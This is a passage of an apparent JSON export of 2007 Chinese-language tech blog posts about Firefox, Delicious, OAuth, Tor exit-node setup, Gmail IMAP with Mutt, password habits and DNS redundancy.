    "body": "今天 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 地雷版 trunk 更新後網址列居然改成這樣：(點小圖看大圖)\r\n\r\n<a href=\"http://www.flickr.com/photo_zoom.gne?id=1698201818&size=o\"><img src=\"http://farm3.static.flickr.com/2352/1698201818_fd10a1e280.jpg\" alt=\"\" /></a>\r\n\r\n很清楚的顯示出連到什麼站台，對於以後推動 Anti-phishing 也有幫助，只是第一次看到會在心中笑出來 XD",
    "title": "Firefox 3 介面"
  },
  {
    "id": "1346",
    "body": "拿到測試帳號了，用的是 Delicious.com 的網域。網址是 <a href=\"http://preview.delicious.com/\" rel=\"tag\">preview.delicious.com</a>。\r\n\r\n在上面逛了一圈，最大的改變是 UI 重新設計，配色換成藍色與灰色調，這兩點讓使用者在使用時會比較舒服。至於新功能... 好像沒看到 :p\r\n\r\n首先是首頁：\r\n\r\n<a href=\"http://www.flickr.com/photo_zoom.gne?id=1704165536&size=o\"><img src=\"http://farm3.static.flickr.com/2024/1704165536_c5909b9e53.jpg\" alt=\"\" /></a>\r\n\r\n再來是 tag 頁，比較奇怪的是網址是用 ?view=tags：\r\n\r\n<a href=\"http://www.flickr.com/photo_zoom.gne?id=1703313555&size=o\"><img src=\"http://farm3.static.flickr.com/2299/1703313555_f65be04f5b.jpg\" alt=\"\" /></a>\r\n\r\n然後是個人頁面，上面這張是預設的兩行式，下面是換成三行式的顯示情況，可以看出來每個條目的 tag 與時間的表示變得更清楚了，右半部的 tag list 則是挑出 Top10 後再依照 alphabet 排：\r\n\r\n<a href=\"http://www.flickr.com/photo_zoom.gne?id=1703317479&size=o\"><img src=\"http://farm3.static.flickr.com/2314/1703317479_d945fc493f.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photo_zoom.gne?id=1703321419&size=o\"><img src=\"http://farm3.static.flickr.com/2353/1703321419_c8fbe1ddb4.jpg\" alt=\"\" /></a>\r\n\r\n點 SORT 會有選單選擇：\r\n\r\n<a href=\"http://www.flickr.com/photo_zoom.gne?id=1704179126&size=o\"><img src=\"http://farm3.static.flickr.com/2190/1704179126_5368b8fe13.jpg\" alt=\"\" /></a>\r\n\r\n再來是 Bookmarklet，這個版本會 popup 出來，我不太喜歡這樣。我要找看看有沒有不會 popup 的版本...\r\n\r\n<a href=\"http://www.flickr.com/photo_zoom.gne?id=1704180908&size=o\"><img src=\"http://farm3.static.flickr.com/2160/1704180908_81700862dc.jpg\" alt=\"\" /></a>\r\n\r\n最後是使用者頁的 tag cloud：\r\n\r\n<a href=\"http://www.flickr.com/photo_zoom.gne?id=1704185230&size=o\"><img src=\"http://farm3.static.flickr.com/2300/1704185230_05cce0535c.jpg\" alt=\"\" /></a>",
    "title": "新版的 Delicious"
  },
  {
    "id": "1348",
    "body": "<a href=\"http://www.sun.com/\" rel=\"tag\">Sun</a> 自己寫了一篇文章，教你把 ZFS Snapshots 丟到 <a href=\"http://aws.amazon.com/s3\" rel=\"tag\">Amazon S3</a> 上備份：<a href=\"http://developers.sun.com/solaris/articles/storage_utils.html\">Storage Utilities in Practice: ZFS Snapshot to Amazon S3</a>。\r\n\r\n我本來期待是介紹 <a href=\"http://en.wikipedia.org/wiki/Incremental_backup\" rel=\"tag\">Incremental backup</a>，結果發現只是很簡單的備份丟檔案而已，那不如用十年前就有的 dump 指令備份 :p (在時間準確的情況下可以做 <a href=\"http://en.wikipedia.org/wiki/Incremental_backup\" rel=\"tag\">Incremental backup</a>，然後一樣丟上 <a href=\"http://aws.amazon.com/s3\" rel=\"tag\">Amazon S3</a>)",
    "title": "將 ZFS 的 Snapshots 丟到 Amazon S3"
  },
  {
    "id": "1349",
    "body": "<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 新的翻譯引擎終於上線了：<a href=\"http://blogoscoped.com/archive/2007-10-23-n54.html\">Google's New Translations</a>。\r\n\r\n李開復在<a href=\"http://www.nctu.edu.tw/\" rel=\"tag\">交大</a>時就有提到以網頁的文字提昇翻譯的品質，當時他是以中文作為說明的背景，說明當 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 網頁所儲存的量愈來愈大的時候，翻譯的準確度會愈來愈高，現在終於看到這個理論的產品上線了。\r\n\r\n不過還是有蠻多好笑 (而且奇怪 XD) 的翻譯...",
    "title": "Google 翻譯機翻新"
  },
  {
    "id": "1350",
    "body": "<strong>聲明</strong>：我是 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 技術顧問。\r\n\r\n看到 <a href=\"http://blog.gugod.org/\" rel=\"tag\">gugod</a> 提到 <a href=\"http://blog.gugod.org/2007/10/oauth.html\">OAuth</a>，想到還沒寫過這個有趣的東西...\r\n\r\n<a href=\"http://openid.net/\" rel=\"tag\">OpenID</a> 解決 <a href=\"http://en.wikipedia.org/wiki/Single_sign-on\" rel=\"tag\">SSO</a> 問題，而 <a href=\"http://oauth.net/\" rel=\"tag\">OAuth</a> 要解決的是授權問題。\r\n\r\n更白話一點，<strong><a href=\"http://openid.net/\" rel=\"tag\">OpenID</a> 可以在不用給 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 密碼，就能夠證明我是<a href=\"http://www.wretch.cc/\" rel=\"tag\">無名</a>的 DarkKiller；而 <a href=\"http://oauth.net/\" rel=\"tag\">OAuth</a> 可以在不給 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 密碼的情況下授權 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 存取我在<a href=\"http://www.wretch.cc/\" rel=\"tag\">無名</a>的帳號內容。</strong>\r\n\r\n目前 <a href=\"http://oauth.net/\" rel=\"tag\">OAuth</a> 的狀態已經是 Final Draft，而幾個常見到的語言的 <a href=\"http://oauth.net/code/\" rel=\"tag\">Library</a> 也已經都寫好了 (不過還缺乏文件)，等正式 Release 時可以跳下去玩。",
    "title": "OAuth"
  },
  {
    "id": "1351",
    "body": "<a href=\"http://en.wikipedia.org/wiki/United_States_Court_of_Appeals_for_the_Sixth_Circuit\" rel=\"tag\">美國第六巡迴庭</a>認定色情網站驗證年齡違反<a href=\"http://en.wikipedia.org/wiki/First_Amendment_to_the_United_States_Constitution\" rel=\"tag\">憲法第一修正案</a>：<a href=\"http://slashdot.org/yro/07/10/23/2223200.shtml\">Court Strikes Down Age Verification For Adult Sites</a>。\r\n\r\n詳細的內容還要再找看看，不知道是不是標題殺人法...",
    "title": "「色情網站驗證年齡」違法憲法第一修正案"
  },
  {
    "id": "1352",
    "body": "看到 <a href=\"http://www.downloadsquad.com/\" rel=\"tag\">Download Squad</a> 的新聞 <a href=\"http://www.downloadsquad.com/2007/10/23/gmail-gets-imap/\">Gmail gets IMAP</a> 後去翻了手上的 <a href=\"http://mail.google.com/\" rel=\"tag\">Gmail</a> 帳號，發現這個可以用了：(點小圖看大圖)\r\n\r\n<a href=\"http://www.flickr.com/photo_zoom.gne?id=1720593009&size=o\"><img src=\"http://farm3.static.flickr.com/2218/1720593009_5ed58c6a82.jpg\" alt=\"\" /></a>\r\n\r\n「<a href=\"http://mail.google.com/support/bin/answer.py?hl=b5&answer=10339\" rel=\"tag\">Gmail 是否支援 IMAP？</a>」這篇過不久應該會換掉 :p\r\n\r\n<strong>Update</strong>：英文版的 Gmail 有正式的文件了：<a href=\"http://mail.google.com/support/bin/answer.py?ctx=gmail&hl=en&answer=75725\">Getting Started with IMAP for Gmail</a>。",
    "title": "Gmail 將支援 IMAP"
  },
  {
    "id": "1353",
    "body": "建立 <a href=\"http://www.torproject.org/\" rel=\"tag\">Tor</a> 的 Exit Node 方式很簡單，在安裝完 <a href=\"http://www.torproject.org/\" rel=\"tag\">Tor</a> 之後 (像在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上可以使用 <a href=\"http://www.freshports.org/security/tor\" rel=\"tag\">security/tor</a> 安裝)，修改 torrc：(參考我 <a href=\"http://wiki.gslin.org/\" rel=\"tag\">Wiki</a> 上的 <a href=\"http://wiki.gslin.org/tor\" rel=\"tag\">Tor</a> 這篇筆記)\r\n<blockquote><code>RelayBandwidthRate 512000\r\nRelayBandwidthBurst 1024000\r\nContactInfo Random Person &lt;username AT example dot com&gt;\r\nORPort 32768\r\nExitPolicy accept *:80,accept *:443,reject *:*</code></blockquote>\r\n其中 RelayBandwidthRate 與 RelayBandwidthBurst 是 bytes/sec，其中 RelayBandwidthRate 要求要在 20KB/sec (20480？) 以上，另外 ContactInfo 會留一個 E-mail 作為聯絡，裡面可以放 PGP key 的 ID，在寫信給你的時候就可以加密傳輸 (像 <code>ContactInfo 1234D/FFFFFFFF Random Person &lt;nobody AT example dot com&gt;</code> 這樣)，而 ORPort 則會挑一個 port 與外界直接連接，ExitPolicy 是允許的連線規則，一般最常用的是 port 80 (http) 與 port 443 (https)，你可以考慮另外開 port 110 + 143 + 993 + 995 (pop3 imap 以及兩者對應的 SSL 服務)。\r\n設定完後跑起來就可以了。",
    "title": "Tor 的 Exit Node"
  },
  {
    "id": "1354",
    "body": "<a href=\"http://vectormagic.stanford.edu/\" rel=\"tag\">VectorMagic</a> 可以將點陣圖 (Bitmap) 轉為向量圖 (Vector)，輸入的格式據網頁上的說明「常見的圖形格式都支援」，輸出的部份則支援 <a href=\"http://en.wikipedia.org/wiki/Encapsulated_PostScript\" rel=\"tag\">EPS</a> 與 <a href=\"http://zh.wikipedia.org/wiki/SVG\" rel=\"tag\">SVG</a>，不過我將 SVG 抓下來後用 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> (Minefield 版) 開不起來，上傳到工作站上用 <a href=\"http://cairographics.org/\" rel=\"tag\">svg2png</a> 轉反而沒問題。\r\n\r\n我把 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 的 Logo 丟進去跑，轉出來相當棒。前面這張是原圖，後面這張是轉成 1024x307 的圖，需要點進去看大圖：\r\n\r\n<a href=\"http://www.flickr.com/photo_zoom.gne?id=1790005504&size=o\"><img src=\"http://farm3.static.flickr.com/2115/1790005504_196cb03695.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photo_zoom.gne?id=1790005992&size=o\"><img src=\"http://farm3.static.flickr.com/2015/1790005992_a6d6e46819.jpg\" alt=\"\" /></a>",
    "title": "VectorMagic：將點陣圖轉為向量圖"
  },
  {
    "id": "1357",
    "body": "這兩篇差了一年：\r\n<ul>\r\n\t<li><a href=\"http://talks.dixongroup.net/nycbsdcon2006/\" rel=\"tag\">BSD is Dying: A Cautionary Tale of Sex and Greed</a> (2006/10/28，我發現我寫過 <a href=\"http://blog.gslin.org/archives/2006/11/03/861/\">BSD is Dying</a> 這篇)</li>\r\n\t<li><a href=\"http://people.freebsd.org/~kris/scaling/7.0%20Preview.pdf\" rel=\"tag\">About FreeBSD 7</a> (PDF 檔，2007/10/20)</li>\r\n</ul>\r\n在大光頭投影片裡的 Slide 36：\r\n<blockquote>It's good to be back.</blockquote>",
    "title": "回顧 FreeBSD"
  },
  {
    "id": "1358",
    "body": "強者我同學 <a href=\"http://ashley.yichi.org/\" rel=\"tag\">ashley</a> 在「<a href=\"http://ashley.yichi.org/archives/2868\">我承認我被嚇到了...</a>」這篇有提到在<a href=\"http://quake.usgs.gov/recenteqs/Quakes/nc40204628.html\">加州的地震</a>，不過有趣的是 <a href=\"http://feedblog.org/2007/10/30/twitter-on-earthquakes/\">Twitter on Earthquakes</a> 這篇的圖：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/1807053181/\"><img src=\"http://farm3.static.flickr.com/2199/1807053181_8d2923d48a.jpg\" alt=\"\" /></a>\r\n\r\n完全就是 nctu.talk 翻版 XD",
    "title": "地震時的 Twitter"
  },
  {
    "id": "1359",
    "body": "<a href=\"http://thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a> 在研究下一代的 P2P 軟體：<a href=\"http://torrentfreak.com/the-pirate-bay-sees-a-future-without-bittorrent-071030\">The Pirate Bay Sees a Future Without BitTorrent</a>。\r\n\r\n原因是 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">BitTorrent Inc.</a> 決定 close source 實做接下來的 <a href=\"http://zh.wikipedia.org/wiki/BitTorrent%E5%8D%8F%E8%AE%AE%E8%A7%84%E8%8C%83\" rel=\"tag\">BitTorrent 通訊協定</a>，而且 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">BitTorrent Inc.</a> 的走向愈來愈忽略使用者的感覺 (突然想到 <a href=\"http://www.movabletype.org/\" rel=\"tag\">MovableType</a> 也是這樣搞...)，於是 <a href=\"http://thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a> 決定自己發展。新的協定會用 .p2p 當做副檔名，格式希望與舊的 .torrent 檔相容。\r\n\r\n在 <a href=\"http://securep2p.net/index.php/ProtocolDesign\" rel=\"tag\">ProtocolDesign</a> 這頁可以看到許多人提議，雖然我覺得拿 <a href=\"http://www.mediawiki.org/\" rel=\"tag\">MediaWiki</a> 提議是很蠢的事情...",
    "title": "Bittorrent 的下一代 P2P 軟體"
  },
  {
    "id": "1360",
    "body": "之前寫過「<a href=\"http://blog.gslin.org/archives/2007/08/07/1260/\">郵局的 RSS...</a>」這篇，這陣子發現之前 RSS 內容都是空的，現在都修好可以<a href=\"http://www.post.gov.tw/post/internet/rss/index.jsp?ID=1164940990958\">訂閱</a>了。\r\n\r\n像是 <a href=\"http://www.post.gov.tw/post/internet/post_news/post_news_dtl.jsp?news_no=8497\">Hot ！ 郵局新推出「90公分便利箱」及「長柱型便利箱」2款便利箱，歡迎使用！</a> 這篇就是這樣看到的...",
    "title": "郵局的 RSS 可以訂閱了"
  },
  {
    "id": "1361",
    "body": "... 可以從這次的新聞裡看到：<a href=\"http://www.theregister.co.uk/2007/11/02/chicaco_datacenter_breaches/\">Masked thieves storm into Chicago colocation (again!)</a> (「蒙面歹徒搶劫機房」)、<a href=\"http://slashdot.org/it/07/11/03/2054208.shtml\">Datacenter Robbed for the Fourth Time in Two Years</a> (「機房兩年內遭搶四次」)。\r\n\r\n事件的苦主在 Webhostingtalk 上也有<a href=\"http://www.webhostingtalk.com/showthread.php?t=639284\">討論</a>，這實在太讓人 <a href=\"http://zonble.twbbs.org/archives/2004_11/622.php\" rel=\"tag\">orz</a> 了...",
    "title": "「異地備份」的重要性..."
  },
  {
    "id": "1362",
    "body": "看「<a href=\"http://www.johnlawrence.net/index.php/2007/10/27/gmail-imap-and-mutt-on-osx/\" rel=\"tag\">Gmail IMAP and Mutt on OSX</a>」這篇的設定設的，我自己沒有使用 cache，而且我不想要把密碼放在檔案裡面，所以我的設定檔是：\r\n<blockquote><code>set imap_user = '<strong>yourmail@gmail.com</strong>'\r\nset spoolfile = imaps://imap.gmail.com:993/INBOX\r\nset folder = imaps://imap.gmail.com:993\r\nset record=\"imaps://imap.gmail.com/[Google Mail]/Sent Mail\"\r\nset postponed=\"imaps://imap.gmail.com/[Google Mail]/Drafts\"</code></blockquote>\r\n要改的只有粗體的部份。\r\n\r\n有些人有發現連到 <code>imap.gmail.com</code> 的連線很慢，從台灣過去大約 300ms，看反解的名稱似乎是歐洲的伺服器，是暫時性將負荷導到歐洲，還是其他的原因，就要再等一陣子看看了...",
    "title": "Gmail IMAP + Mutt"
  },
  {
    "id": "1363",
    "body": "因為：\r\n<blockquote>國立X山大學 計算機與網路中心 書函\r\n受文者：如正本\r\n發文日期：中華民國96年10月31日\r\n發文字號：中096電字第032號\r\n速別：\r\n密等及解密條件：\r\n附件：\r\n主旨：本中心為杜絕色情廣告氾濫之問題，即日起停止NEWS伺服器轉信服務，不便之處，敬請見諒。\r\n說明：教育部部長民意信箱接獲民眾檢舉，本校之提供之轉信服務，郵件內容大部分為色情廣告，為杜絕色情廣告氾濫問題，故自即日起停止NEWS伺服器轉信服務。</blockquote>\r\n轉自「<a href=\"http://blog.ychsiao.org/2007/11/06/369\" rel=\"tag\">鴕鳥心態</a>」這篇。我看 <a href=\"http://group.nctu.edu.tw/\" rel=\"tag\">Group.NCTU.edu.tw</a> 也應該打包放到非 TANet 的獨立主機好了...\r\n\r\n如果天天寫信去部長信箱抱怨信箱裡有太多色情廣告，學校會不會關閉郵件伺服器...",
    "title": "news.nsysu.edu.tw 關閉"
  },
  {
    "id": "1364",
    "body": "這幾天轉正職後就忙翻了，我在弄剛灌好的機器改系統架構，結果<a href=\"http://blog.pixnet.net/admin/post/10599120\">原本的機器就爆增四倍的流量</a>，我還被問是不是動到原來架構的東西... XD\r\n\r\n先是之前提到的 <a href=\"http://sn.hasname.com/\" rel=\"tag\">Social Network Search in Taiwan</a>。我有打算要放 source code 出來，但是有個大問題：現在我只要 svn ci 進去就會自動跑 post-commit，然後自動更新整個系統，如果搬到 <a href=\"http://code.google.com/\" rel=\"tag\">Google Code</a> 就必須用 mail trigger，這部份還要找時間弄 (現在超缺時間)。另外目前跑到 92.5% 了，我訂的目標是 95% 時把 raw data 放出來，希望週末的時候可以寫一些 API。\r\n\r\n另外一件事情是 Usenet 的事情，我在年初的時候就一直有跟兔子談 <a href=\"http://group.nctu.edu.tw/\" rel=\"tag\">Group.NCTU.edu.tw</a> 的維護問題，後來發生<a href=\"http://www.edu.tw/\" rel=\"tag\">教育部</a>與<a href=\"http://www.nsysu.edu.tw/\" rel=\"tag\">中山大學</a>的事情 (「<a href=\"http://blog.gslin.org/archives/2007/11/07/1363/\">news.nsysu.edu.tw 關閉</a>」這篇），看起來要另外找地方放了。這個部份還要再想看看要怎麼做比較好。\r\n\r\n其他的小事情大多都在 <a href=\"http://twitter.com/\" rel=\"tag\">Twitter</a> 上亂講，不過 <a href=\"http://twitter.com/\" rel=\"tag\">Twitter</a> 的 Jabber bot 怎麼都不會通知更新啊...",
    "title": "幾件事情的近況"
  },
  {
    "id": "1365",
    "body": "這是 11/10 跑出來的原始資料，以 MySQL 5.1 mysqladmin 的格式從資料庫取出，使用 <a href=\"http://www.bzip.org/\" rel=\"tag\">bzip2</a> 壓縮 (在 Windows 上可以使用 <a href=\"http://www.7-zip.org/\" rel=\"tag\">7-zip</a> 解壓)，請到 <a href=\"http://sn.hasname.com/\" rel=\"tag\">Social Network Search in Taiwan</a> 首頁上以 Bittorrent 軟體下載，檔案約 136MB。",
    "title": "Social Network Search in Taiwan 的原始資料"
  },
  {
    "id": "1366",
    "body": "我會用 <a href=\"http://www.jabber.org/\" rel=\"tag\">Jabber Protocol</a> 收 Twitterbot 送來的 Notifer，但是這陣子常常會收不到。直到前天在 <a href=\"http://mail.google.com/\" rel=\"tag\">Gmail</a> 裡面收到 Twitterbot 送來的訊息，突然想到會不會是 <a href=\"https://addons.mozilla.org/en-US/firefox/addon/173\" rel=\"tag\">Gmail Notifier</a> 造成 <a href=\"http://mail.google.com/\" rel=\"tag\">Gmail</a> 一直以為我在線上而沒有送到 <a href=\"http://www.jabber.org/\" rel=\"tag\">Jabber</a> 這邊的關係？等下把 Browser 都關掉試看看...",
    "title": "經常失蹤的 Twitterbot"
  },
  {
    "id": "1367",
    "body": "依照 <a href=\"http://googlified.com/2007search-emails-by-language-in-gmail/\">Search Emails by Language in Gmail</a> 的說法，在搜尋條件的地方輸入「<code>language:Chinese</code>」應該會出現中文的郵件，不過實際上只有簡體中文...\r\n\r\n總之我跑到 <a href=\"http://groups.google.com/group/Gmail-Help-Discussion\" rel=\"tag\">Gmail Help Discussion</a> 上問，看看是不是 bug 或是 \"feature\"：<a href=\"http://groups.google.com/group/Gmail-Problem-solving/browse_thread/thread/ac6385c16a0e27e0\">Search condition \"language:chinese\" not function very well</a>。",
    "title": "在 Gmail 裡列出中文的信"
  },
  {
    "id": "1368",
    "body": "應該是前幾天做夢做到的，剛剛才突然想起來這件事情。\r\n\r\n在 IRC 上偶而會有人打太快把密碼丟到頻道上 (我好像幹過 XD)，結果就開始手忙腳亂連到一堆機器上換密碼... 前幾天夢到我把某組工作站用的密碼打到 <a href=\"http://www.bsdchat.com/\" rel=\"tag\">#bsdchat</a> 上，驚醒後罵了句靠腰就躺回去睡 XD\r\n\r\nAnyway，這讓我想到一些好習慣與壞習慣...\r\n<ul>\r\n\t<li>用完全亂碼的方式產生密碼，要夠長，硬背下來。避免用注音對應之類的方式。(像是「好」對應到 <code>cl3</code>)</li>\r\n\t<li>工作站與網站的密碼要不一樣。</li>\r\n\t<li>不同的網站最好不要用相同的密碼。(不過如果是同一家公司的就算了，像現在的 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> + <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> + <a href=\"http://www.wretch.cc/\" rel=\"tag\">無名小站</a>，或是 <a href=\"http://mail.google.com/\" rel=\"tag\">Gmail</a> + <a href=\"http://www.youtube.com/\" rel=\"tag\">YouTube</a>)</li>\r\n\t<li>在 <code>.cshrc</code> (或是類似的檔案) 裡放一堆機器的 alias，這是好習慣也是壞習慣。好習慣是出包的時候你可以連到那堆機器，壞事是出包但是沒發現的時候壞人可以幫你連到那堆機器 XD</li>\r\n</ul>\r\n喔對了，順便把 hash 過的密碼丟到 <a href=\"http://en.wikipedia.org/wiki/Rainbow_table\" rel=\"tag\">Rainbow Table</a> 去翻翻看也是一個好主意。(岔題一下，Rainbow 這個字讓我想到一篇歷史很悠久的網路小說了...)",
    "title": "密碼..."
  },
  {
    "id": "1369",
    "body": "在 <a href=\"http://www.techcrunch.com/\" rel=\"tag\">TechCrunch</a> 看到 <a href=\"https://www.paypal.com/\" rel=\"tag\">PayPal</a> 與 <a href=\"http://www.mastercard.com/\" rel=\"tag\">MasterCard</a> 合作，將會推出虛擬信用卡卡號的服務：<a href=\"http://www.techcrunch.com/2007/11/18/paypal-to-offer-virtual-credit-card-payment-product/\" rel=\"tag\">PayPal To Offer Virtual Credit Card Payment Product</a>。\r\n\r\n這使得 <a href=\"https://www.paypal.com/\" rel=\"tag\">PayPal</a> 延伸到不支援 <a href=\"https://www.paypal.com/\" rel=\"tag\">PayPal</a> 服務的對象，而且同時保有當初使用 <a href=\"https://www.paypal.com/\" rel=\"tag\">PayPal</a> 的目的：不要將信用卡卡號交給其他不認識的商家。\r\n\r\n不過新聞裡面沒有寫手續費之類的細節，得等推出時看看...\r\n",
    "title": "PayPal 的虛擬信用卡卡號"
  },
  {
    "id": "1370",
    "body": "上個月的時候 <a href=\"http://www.ifpi.org/\" rel=\"tag\">IFPI</a> 的內部信件外洩 (參考 <a href=\"http://torrentfreak.com/ifpi-wants-pirate-bay-secrets-071009/\">Anti-Piracy Lobby Wants Pirate Bay Secrets from Swedish Police</a> 這篇)，信件內容包括了 IFPI 要瑞典的警方交出扣押 <a href=\"http://thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a> 機器裡的資料 (沒錯，是他們要求警方交出資料，不是警方要求其他人 XD)，以及要怎麼破壞 <a href=\"http://www.bittorrent.org/\" rel=\"tag\">BitTorrent</a> 的架構。當時一堆人在猜測如何外洩的，有人猜是摸進 mail server 拿到的，有人猜是帳號密碼外洩之類的...\r\n\r\n但，<a href=\"http://www.ifpi.org/\" rel=\"tag\">IFPI</a> 信件外洩的「真相」是：<a href=\"http://torrentfreak.com/email-about-leaked-ifpi-email-leaks-071122/\">有人在信件往返時寄給 ifpi.com</a> XDDD\r\n\r\n我補充一下，<a href=\"http://ifpi.com/\" rel=\"tag\">IFPI.com</a> 本來是 <a href=\"http://www.ifpi.org/\" rel=\"tag\">International Federation of the Phonographic Industry</a> 所擁有，後來大概是懶得繳錢被別人註冊掉，在上個月的時候，擁有人將<a href=\"http://torrentfreak.com/ifpi-now-owned-by-the-piratebay-071012/\">這個網域名稱還送給了 The Pirate Bay</a> XDDD\r\n\r\n這真是太棒了 XD",
    "title": "IFPI 信件外洩的「真相」"
  },
  {
    "id": "1371",
    "body": "在討論 DNS 的穩定性時，都會要求要把網域名稱多設幾個 NS RR，而且要在不同的網路上。不過很多人都認為有兩台機器就好了，如果連外斷掉那麼服務本來就會中斷，沒有影響。\r\n\r\n這是錯誤的觀念，尤其是電子郵件。\r\n\r\n<a href=\"http://www.cc.ntu.edu.tw/\" rel=\"tag\">台大計中</a>停電維修六個小時，而負責 ntu.edu.tw 的三台 DNS 主機都連不上。這使得 ntu.edu.tw 以及 *.ntu.edu.tw 的信件的進出都造成嚴重的異常。\r\n\r\n進入的部份，我從<a href=\"http://www.nctu.edu.tw/\" rel=\"tag\">交大</a>寄信到 <code>user@ntu.edu.tw</code> 時會直接收到退信 (錯誤是 \"Domain not found\" 這類的訊息)，但如果台大的 DNS 主機有請其他單位幫忙做 DNS Slave，那麼這封信會被交大的郵件系統暫時存放，而不會直接退給發信人。\r\n\r\n出來的部份，假設有教職員在家使用 <a href=\"http://www.hinet.net/\" rel=\"tag\">HiNet</a>，以 <code>user@ntu.edu.tw</code> 的來源發信到交大，交大的郵件系統在檢查信件來源時，就會以 \"Domain not found\" 的訊息拒絕掉，這個問題一樣可以透過其他單位的 DNS Slave 解決。\r\n\r\n這次影響的單位最少包括了：*.ntu.edu.tw (三台 DNS 主機都不通) 及 *.tp.edu.tw (三台 DNS 主機都在台大下游而不通)。\r\n\r\n雖然 <a href=\"http://www.cc.nctu.edu.tw/~cschen/\" rel=\"tag\">cschen</a> 一直推這件事情，不過直到這兩年我才看到交大與<del datetime=\"2007-11-25T02:31:01+00:00\"><a href=\"http://www.itri.org.tw/\" rel=\"tag\">工研院</a></del><a href=\"http://www.nchc.org.tw/\" rel=\"tag\">國網中心</a>合作，雙方互相幫對方做 nctu.edu.tw 與 nchc.org.tw 的 DNS Slave。\r\n\r\n<a href=\"http://mail.google.com/\" rel=\"tag\">Gmail</a> 使用的 ns{1,2,3,4}.google.com 看起來很接近 (216.239.{32,34,36,38}.10)，也是四個完全不同網段，這點可以從美國的主機 traceroute 走的路線看出來似乎有幾個是不同國家。\r\n\r\n等台大網路恢復後，寄封信請他們改善這部份...\r\n\r\n<strong>Update</strong>：工研院改成國網... :/\r\n\r\n<strong>Update</strong>：我才寄了十分鐘，台大計中的 madeline 就回信說他們會朝這個方向改進，nice job :)",
    "title": "多設幾個不同網路上的 DNS Server"
  },
  {
    "id": "1372",
    "body": "<a href=\"http://www.zooomr.com/photos/38183@Z01/3805863/\"><img src=\"http://static.zooomr.com/images/3805863_3f6c5b735d_o.jpg\" alt=\"\" style=\"float: left;\" /></a>\r\n\r\n<a href=\"http://zh.wikipedia.org/wiki/%E7%8B%BC%E8%88%87%E8%BE%9B%E9%A6%99%E6%96%99\" rel=\"tag\">狼與辛香料</a> III 中文版出版後一直沒時間去買，直到上星期五才去新瑞書局把一些新書拿一拿，然後用這兩天優先看完 XD (其實這兩天也寫了不少 code，不過好像白寫了... 都是<a href=\"http://blog.xdite.net/\" rel=\"tag\">你</a>害的啦，提什麼鬼主意 XD)\r\n\r\n如同網路上許多人講的，第三集比較偏重於兩人的超恩愛故事，看完以後就瞎了 XD\r\n\r\n由<a href=\"http://ja.wikipedia.org/wiki/%E5%B0%8F%E6%A2%85%E3%81%91%E3%81%84%E3%81%A8\" rel=\"tag\">小梅けいと</a>所畫的漫畫版也是傑作，<del>鹹</del>賢狼的神韻好棒啊啊啊～\r\n\r\n接下來就是 2008 年年初的動畫化了，看海報圖以及記者會現場的照片，人物設定違和感蠻重，不過還是得看看到底會改成什麼樣子... :/\r\n\r\n參考其他人寫的文章：<a href=\"http://blog.xuite.net/a21534782676/haruhisaikou/14356216\">狼與辛香料　第三集</a> (<a href=\"http://blog.xuite.net/a21534782676/haruhisaikou\" rel=\"tag\">剎那間如履薄冰</a>)。",
    "title": "狼與辛香料 III"
  },
  {
    "id": "1373",
    "body": "<a href=\"http://www.zooomr.com/photos/38183@Z01/3826184/\"><img alt=\"\" src=\"http://static.zooomr.com/images/3826184_3900dffa73.jpg\" /></a>\r\n\r\n這陣子有些人在非議 <a href=\"http://www.alexa.com/\">Alexa</a>，結果昨天上班的時候突然想到的... XD\r\n\r\n這兩個網站分別是<a href=\"http://www.cwb.gov.tw/\" rel=\"tag\">中央氣象局</a>與<a href=\"http://www.cpa.gov.tw/\" rel=\"tag\">人事行政局</a>，這樣清楚為什麼 <a href=\"http://www.alexa.com/\">Alexa</a> 會告訴你了嗎 XD",
    "title": "要怎麼得知今年有幾個颱風接近台灣？"
  },
  {
    "id": "1374",
    "body": "剛剛想看 Catalyst Framework 的官方網站 (一個 Perl-based 的 MVC Framework)，結果 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 出來連到的第一筆是 <a href=\"http://www.godaddy.com/\" rel=\"tag\">GoDaddy</a> 的 parking page：<a href=\"http://www.catalystframework.org/\" rel=\"tag\">http://www.catalystframework.org/</a>。\r\n\r\n翻了一下，後來找到目前的官方網站：<a href=\"http://catalyst.perl.org/\" rel=\"tag\">http://catalyst.perl.org/</a>，以及 maining list 上的討論內容：<a href=\"http://lists.scsys.co.uk/pipermail/catalyst/2007-November/thread.html#16015\" rel=\"tag\">[Catalyst] catalystframework.org exired</a>。又讓我想起 <a href=\"http://0rz.tw/\" rel=\"tag\">0rz</a> 因為 <a href=\"http://www.godaddy.com/\" rel=\"tag\">GoDaddy</a> 的關係最後搬到 <a href=\"http://0rz.tw/\" rel=\"tag\">0rz.tw</a> 的故事了...\r\n\r\n<strong>Update</strong>：現在 (2007/11/30 早上) 看起來回來了 :-)",
    "title": "Catalyst Framework 與 GoDaddy"
  },
  {
    "id": "1375",
